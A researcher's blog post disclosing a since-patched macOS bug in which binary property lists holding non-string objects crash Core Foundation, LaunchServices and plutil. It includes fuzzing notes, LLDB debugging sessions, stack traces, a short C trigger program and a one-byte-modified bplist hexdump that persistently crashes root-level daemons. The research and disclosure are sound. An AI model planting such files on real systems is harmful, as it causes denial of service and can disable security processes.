Recently, I decided it was time to go down another Operating System rabbit hole and macOS looked interesting enough especially since I knew little of the internals even though I regularly use Apple products. Learning a new OS is always an adventure, but I typically need a specific goal to ground my exploration and measure success in some way. Therefore, I set a goal of local exploitation through a single file being placed on a macOS system and let the analysis challenge begin. After only a few weeks I came across an interesting bug related to property lists which this post goes into more detail about. The bug was reported to Apple in May 2020 and patched …although no CVE was issued.
Property lists (plists
) are files that store serialized objects and are prevalant in Apple’s Operating Systems similar to how Microsoft Windows uses the Registry to store configuration data. An example XML-based property list for the macOS application Automator
is shown below. This property list stores version information for the application as well as other useful data:
1<?xml version="1.0" encoding="UTF-8"?>
2<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" ...>
3<plist version="1.0">
4<dict>
5 <key>BuildAliasOf</key>
6 <string>Automator</string>
7 <key>BuildVersion</key>
8 <string>383</string>
9 <key>CFBundleShortVersionString</key>
10 <string>2.10</string>
11 <key>CFBundleVersion</key>
12 <string>492</string>
13 <key>ProjectName</key>
14 <string>Automator_executables</string>
15 <key>SourceVersion</key>
16 <string>492000000000000</string>
17</dict>
18</plist>
Property lists can also be in binary form otherwise known as bplists
. As the name implies, these are property lists in a binary format that enable some additional object types and relationships including dictionaries. Below is an example bplist which can be identified by the bplist00
tag although additional tags exist to support other versions of the format:
00000000: 6270 6c69 7374 3030 d401 0203 0405 060a bplist00........ 00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264 ._..NSStoryboard 00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965 MainMenu_.%NSVie 00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74 wControllerIdent 00000040: 6966 6965 7273 546f 4e69 624e 616d 6573 ifiersToNibNames 00000050: 5f10 134e 5353 746f 7279 626f 6172 6456 _..NSStoryboardV 00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743 ersion_."NSViewC 00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966 ontrollerIdentif 00000080: 6965 7273 546f 5555 4944 7358 4d61 696e iersToUUIDsXMain 00000090: 4d65 6e75 d207 0508 095f 1013 7369 6d75 Menu....._..simu 000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f latorMainWindow_ 000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57 ..simulatorMainW 000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001 indowXMainMenu..
The bplist
format can be better understood by looking at Apple’s opensource code and I also found this reference to be extremely helpful. The bplist
format defined in Apple’s opensource code is below:
Property lists provided an interesting target for fuzzing because they are simple to create and consumed by many parts of the OS including higher privileged processes. Apple’s opensource code enabled me to create arbitrary bplists
and start to fuzz the file format while ensuring proper syntax with the built-in macOS plutil
command-line tool.
I spent a few days generating bplists to exercise the format and quickly found that certain object types caused exceptions when being parsed by common macOS binaries such as Finder
and even higher privileged ones including Launch Services
daemon (LSD
). System crash logs indicated an issue in the Core Foundation
framework but, as we will see later, this bug exists in multiple locations.
Most of the generated crashes appeared to be caused by how Core Foundation
parses bplists
and subsequently attempts to use the created objects. Any bplist
that had objects within it’s ObjectTable
that were not string types (Date
, Data
, Bool
, etc.) caused the parsing process to crash when calling non-existent string related selectors. The result was any process that used Core Foundation
to read property lists could be crashed with an unrecognized selector exception. An example vulnerable code path is below:
CFBundleGetMainBundle <-- exported function _CFBundleCreate CFBundleGetInfoDictionary _CFBundleRefreshInfoDictionaryAlreadyLocked _CFBundleCopyInfoDictionaryInDirectoryWithVersion _CFBundleInfoPlistProcessInfoDictionary CFStringFind CFStringFindWithOptionsAndLocale CRASH!!! <-- calls unrecognized selector
Reaching this location was trivial with the following C code and a malicious property list named Info.plist
in the same directory as the test application:
1#import <CoreFoundation/CoreFoundation.h>
2int main(int argc, const char * argv[]) {
3 CFBundleRef myAppsBundle= NULL;
4 myAppsBundle = CFBundleGetMainBundle();
5 return 0;
6}
Generating crashes for this bug can be done programmatically or by placing a modified bplist on the system where it will automatically be parsed. In fact, one of the first signs of this bug was LSD
repeatedly crashing on my system while trying to register an application with my modified property list.
The image below is Console
output showing how often crashes occurred with a modified bplist
on my desktop posing as a legitimate Info.plist
. Also note the User-level and System-level processes crashing.
Creating malicious bplists
can be done by modifying a single byte to change an ASCII string object (type 0x5X
) to another object type such as DATE (type 0x33
). An example modified bplist
is below:
00000000: 6270 6c69 7374 3030 d401 0203 0405 060a bplist00........ 00000010: 0b5f 1014 4e53 5374 6f72 7962 6f61 7264 ._..NSStoryboard 00000020: 4d61 696e 4d65 6e75 5f10 254e 5356 6965 MainMenu_.%NSVie 00000030: 7743 6f6e 7472 6f6c 6c65 7249 6465 6e74 wControllerIdent 00000040: 6966 6965 7273 546f 4e69 624e 616d 6573 ifiersToNibNames 00000050: 5f10 134e 5353 746f 7279 626f 6172 6456 _..NSStoryboardV 00000060: 6572 7369 6f6e 5f10 224e 5356 6965 7743 ersion_."NSViewC 00000070: 6f6e 7472 6f6c 6c65 7249 6465 6e74 6966 ontrollerIdentif 00000080: 6965 7273 546f 5555 4944 7358 4d61 696e iersToUUIDsXMain 00000090: 4d65 6e75 d207 0508 0933 1013 7369 6d75 Menu.....3..simu 000000a0: 6c61 746f 724d 6169 6e57 696e 646f 775f latorMainWindow_ 000000b0: 1013 7369 6d75 6c61 746f 724d 6169 6e57 ..simulatorMainW 000000c0: 696e 646f 7758 4d61 696e 4d65 6e75 1001 indowXMainMenu..
This small one byte change can now be used to cause havoc on a macOS system and presumably iOS although that platform was not tested during this research. This approach also impacts multiple databases including Spotlight
’s which becomes tainted with this malicious Info.plist
and repeatedly causes crashes even after reboot.
With the ability to recreate crashes easily, I dug into where this bug actually lives. A simple approach to tracking this down was to look at the stack trace of a crashing process. Below is a crash log from the test application shown earlier that uses Core Foundation to read a malicious property list.
2020-07-06 09:31:14.433 OpenInfo[79624:2895718] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[__NSDate length]: unrecognized selector sent to instance 0x7fa546d033e0' *** First throw call stack: ( 0 CoreFoundation 0x00007fff2c0058ab __exceptionPreprocess + 250 1 libobjc.A.dylib 0x00007fff62126805 objc_exception_throw + 48 2 CoreFoundation 0x00007fff2c084b61 -[NSObject(NSObject) __retain_OA] + 0 3 CoreFoundation 0x00007fff2bf69adf ___forwarding___ + 1427 4 CoreFoundation 0x00007fff2bf694b8 _CF_forwarding_prep_0 + 120 5 CoreFoundation 0x00007fff2bf27676 CFStringFind + 45 6 CoreFoundation 0x00007fff2bf26cc8 _CFBundleInfoPlistProcessInfoDictionary + 194 7 CoreFoundation 0x00007fff2bf1faff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117 8 CoreFoundation 0x00007fff2bf1f349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111 9 CoreFoundation 0x00007fff2bf1f2c8 CFBundleGetInfoDictionary + 33 10 CoreFoundation 0x00007fff2c027d4f _CFBundleCreate + 715 11 CoreFoundation 0x00007fff2bf102aa CFBundleGetMainBundle + 148 12 OpenInfo 0x0000000109061f83 main + 35 13 libdyld.dylib 0x00007fff634947fd start + 1 14 ??? 0x0000000000000001 0x0 + 1 ) libc++abi.dylib: terminating with uncaught exception of type NSException Abort trap: 6It was helpful to read the following article to understand how
Core Foundation
handles unrecognized selector exceptions and clarified what_CF_forwarding_prep_0
in the stack trace does. With this information, I treated the return address before this as the likely source of the exception which is inCFStringFind
…specifically after a call to_CFStringGetLength
. The disassembly below illustrates this call:CFStringFind disassembly I stepped through
CFStringFind
inLLDB
until right before the call to_CFStringGetLength
to inspect the registers. From Apple’s documentation for_CFStringGetLength
we know that the first argument should be a string so we can inspect theRDI
register with the following LLDB command.(lldb) po [$RDI class] __NSDateBingo! The object type for the first argument was not a string but instead an
_NSDate
object from our malicious bplist. The decompilation of_CFStringGetLength
below illustrates where this could go wrong:_CFStringGetLength decompilation We can see that the length selector is being called on the first argument to this function which we know will fail for an
_NSDate
object since it doesn’t have this selector. This theory matches up with the crash logs as well.reason: '-[__NSDate length]: unrecognized selectorIf we continue through this function we will eventually hit an exception in the bowels of Objective-C exception handling which indicates we have found the root cause of these crashes.
Additional Selectors
I continued to generate
bplists
with non-string objects and was able to generate additional crashes withinCore Foundation
from other unrecognized selectors. The crash log below is fromLSD
after consuming a maliciousbplist
with a single__NSCFData
object:Uncaught exception: 'NSInvalidArgumentException' reason: '-[__NSCFData _fastCStringContents:]: unrecognized selector sent to instance 0x7fac7d49f560'The stack trace for this
LSD
crash is as follows:Application Specific Backtrace 1: 0 CoreFoundation 0x00007fff356568ab __exceptionPreprocess + 250 1 libobjc.A.dylib 0x00007fff6b777805 objc_exception_throw + 48 2 CoreFoundation 0x00007fff356d5b61 -[NSObject(NSObject) __retain_OA] + 0 3 CoreFoundation 0x00007fff355baadf ___forwarding___ + 1427 4 CoreFoundation 0x00007fff355ba4b8 _CF_forwarding_prep_0 + 120 5 CoreFoundation 0x00007fff355615f9 CFStringFindWithOptionsAndLocale + 265 6 CoreFoundation 0x00007fff35578697 CFStringFind + 78 7 CoreFoundation 0x00007fff35577cc8 _CFBundleInfoPlistProcessInfoDictionary + 194 8 CoreFoundation 0x00007fff35570aff _CFBundleCopyInfoDictionaryInDirectoryWithVersion + 1117 9 CoreFoundation 0x00007fff35570349 _CFBundleRefreshInfoDictionaryAlreadyLocked + 111 10 CoreFoundation 0x00007fff355702c8 CFBundleGetInfoDictionary + 33 11 CoreFoundation 0x00007fff35678d4f _CFBundleCreate + 715 12 LaunchServices 0x00007fff36d2b762 -[FSNode(Bundles) CFBundleWithError:] + 88 13 LaunchServices 0x00007fff36e34e62 _LSCreateRegistrationData + 294 14 LaunchServices 0x00007fff36d861e8 __104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke + 191 15 libdispatch.dylib 0x00007fff6ca8b583 _dispatch_call_block_and_release + 12 16 libdispatch.dylib 0x00007fff6ca8c50e _dispatch_client_callout + 8 17 libdispatch.dylib 0x00007fff6ca91ace _dispatch_lane_serial_drain + 597 18 libdispatch.dylib 0x00007fff6ca92485 _dispatch_lane_invoke + 414 19 libdispatch.dylib 0x00007fff6ca9ba9e _dispatch_workloop_worker_thread + 598 20 libsystem_pthread.dylib 0x00007fff6cce66fc _pthread_wqthread + 290 21 libsystem_pthread.dylib 0x00007fff6cce5827 start_wqthread + 15Notice that the crashing location, before Objective-C exception handling, is not from
CFStringFind
but actuallyCFStringFindWithOptionsAndLocale
which calls_CFStringGetCStringPtrInternal
finally dying a horrible death from the incorrect selector_fastCStringContents
being called. The reason for this is that the__NSCFData
type actually has a length selector so it successfully gets past the first crashing location we saw earlier and further intoCore Foundation
until it calls another unrecognized selector.Multiple Bugs
Early in this research I was using plutil to generate crashes from malicious
bplists
before writing my own code to hit the necessary code paths. The following commands set up anLLDB
session to start debugging this crash by usingplutil
as the target process and the print plist flag which will just print a human-readable version of the property list.(lldb) target create plutil (lldb) process launch --stop-at-entry -- -p bad.plistAfter stepping through execution a few times, it was evident that plutil actually crashes in a different location and NOT in
Core Foundation
. The output below illustrates that it attempts to call the length selector on an__NSDate
type which causes an unrecognized selector exception but this bug lives inplutil
and not inCore Foundation
.* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x0000000100006aa0 plutil`___lldb_unnamed_symbol67$$plutil: -> 0x100006aa0 <+21>: movq 0x5e91(%rip), %rsi ; "length" 0x100006aa7 <+28>: movq 0x45b2(%rip), %r12 ; objc_msgSend 0x100006aae <+35>: callq *%r12 0x100006ab1 <+38>: movq %rax, %r15 Target 1: (plutil) stopped. (lldb) po [$rdi class] __NSDateIt appears similar bugs exist in many macOS applications that assume
bplists
will only contain string object types. The stacktrace from a crashedLSD
process is below which is also outside ofCore Foundation
:* thread #2, queue = 'com.apple.lsd.database', stop reason = breakpoint 3.1 * frame #0: 0x00007fff384c5440 CoreFoundation`__forwarding_prep_0___ frame #1: 0x00007fff39c644d5 LaunchServices`_LSPlistCompactString(NSString*, signed char*) + 45 frame #2: 0x00007fff39c98b06 LaunchServices`___ZL22_LSPlistTransformValueP11objc_objectPFP8NSStringS2_PaES3__block_invoke.637 + 67 frame #3: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7 frame #4: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230 frame #5: 0x00007fff39c987c7 LaunchServices`___ZL17_LSPlistTransformP12NSDictionaryIP8NSStringP11objc_objectEPFS1_S1_PaES6__block_invoke + 562 frame #6: 0x00007fff384a8f27 CoreFoundation`__NSDICTIONARY_IS_CALLING_OUT_TO_A_BLOCK__ + 7 frame #7: 0x00007fff384e8a85 CoreFoundation`-[__NSDictionaryM enumerateKeysAndObjectsWithOptions:usingBlock:] + 230 frame #8: 0x00007fff39c64a60 LaunchServices`_LSPlistTransform(NSDictionary*, NSString* (*)(NSString*, signed char*), signed char*) + 212 frame #9: 0x00007fff39c96dbb LaunchServices`_LSPlistCompact + 65 frame #10: 0x00007fff39d019d9 LaunchServices`_LSPlistAdd + 79 frame #11: 0x00007fff39c9d3b5 LaunchServices`-[LSBundleRecordBuilder buildBundleData:error:] + 2772 frame #12: 0x00007fff39c9e3a8 LaunchServices`-[LSBundleRecordBuilder registerBundleRecord:error:] + 97 frame #13: 0x00007fff39d3f7ec LaunchServices`_LSServerBundleRegistration + 1870 frame #14: 0x00007fff39d41ba1 LaunchServices`_LSServerItemInfoRegistration + 691 frame #15: 0x00007fff39d8a62d LaunchServices`_LSServer_RegisterItemInfo + 244 frame #16: 0x00007fff39c9155d LaunchServices`__104-[_LSDModifyClient registerItemInfo:alias:diskImageAlias:bundleURL:installationPlist:completionHandler:]_block_invoke_2 + 107 frame #17: 0x00007fff6f996583 libdispatch.dylib`_dispatch_call_block_and_release + 12 frame #18: 0x00007fff6f99750e libdispatch.dylib`_dispatch_client_callout + 8 frame #19: 0x00007fff6f9a4827 libdispatch.dylib`_dispatch_lane_concurrent_drain + 1032 frame #20: 0x00007fff6f99d4ec libdispatch.dylib`_dispatch_lane_invoke + 517 frame #21: 0x00007fff6f999202 libdispatch.dylib`_dispatch_queue_override_invoke + 421 frame #22: 0x00007fff6f9a57e2 libdispatch.dylib`_dispatch_root_queue_drain + 326 frame #23: 0x00007fff6f9a5f22 libdispatch.dylib`_dispatch_worker_thread2 + 92 frame #24: 0x00007fff6fbf16b6 libsystem_pthread.dylib`_pthread_wqthread + 220 frame #25: 0x00007fff6fbf0827 libsystem_pthread.dylib`start_wqthread + 15 If we use GHIDRA to disassemble the
_LSPlistCompactString
function, we can see that offset45
or0x2D
gets us to yet another length call on the incorrect object type presumably from our malicious bplist which is now in theLSD
database:_LSPlistCompactString disassembly We can verify this by setting a breakpoint on
_LSPlistCompactString
and printing the first argument with the following breakpoint commands:(lldb) br com add 1 Enter your debugger command(s). Type 'DONE' to end. > po [$rdi class] > c > DONEThe output below illustrates that
LSD
is getting our__NSDate
object from the maliciousbplist
:Command #2 'c' continued the target. (lldb) po [$rdi class] NSTaggedPointerString (lldb) c Process 576 resuming Command #2 'c' continued the target. (lldb) po [$rdi class] __NSDateThis confirms what I thought was intially one bug is actually many across multiple macOS binaries and all rooted in the assumption that bplists only contain string objects.
Impact Summary
Root-level processes can be crashed from a normal User account and repeatedly crash if they are respawned by the Operating System (LSD
and MDS
are examples).
System instability and denial of service occur especially when Finder
or other UI related processes consume the malicious bplist
and crash
0-clicks required to crash processes since application bundles, packages etc. are automatically processed when they are written to disk.
Potential to crash security-related processes from normal User accounts to remove security boundaries (XProtect
, etc.) although they were not fully explored in this post.
Potential to exploit remotely in scenarios where bplists
are parsed automatically.
System components impacted by this bug include any that use Core Foundation
to parse bplists
which is a large percentage (a quick search found over 1000 installed binaries on macOS 10.15.3 that import functions to reach this bug).
Many applications parse bplist
data through Core Foundation
but also access generated objects incorrectly within their own code meaning the bug count could be much larger.
Hopefully this exploration was as interesting and helpful to the community as it was for my own understanding of macOS internals. Shout out to the Apple security community which is extremely passionate and informative about poking at Apple products. There is some follow-on work to this post which will hopefully be published in the coming months. As always, feedback is welcome including corrections to any inaccuracies or suggestions for more effective ways to accomplish the same goals.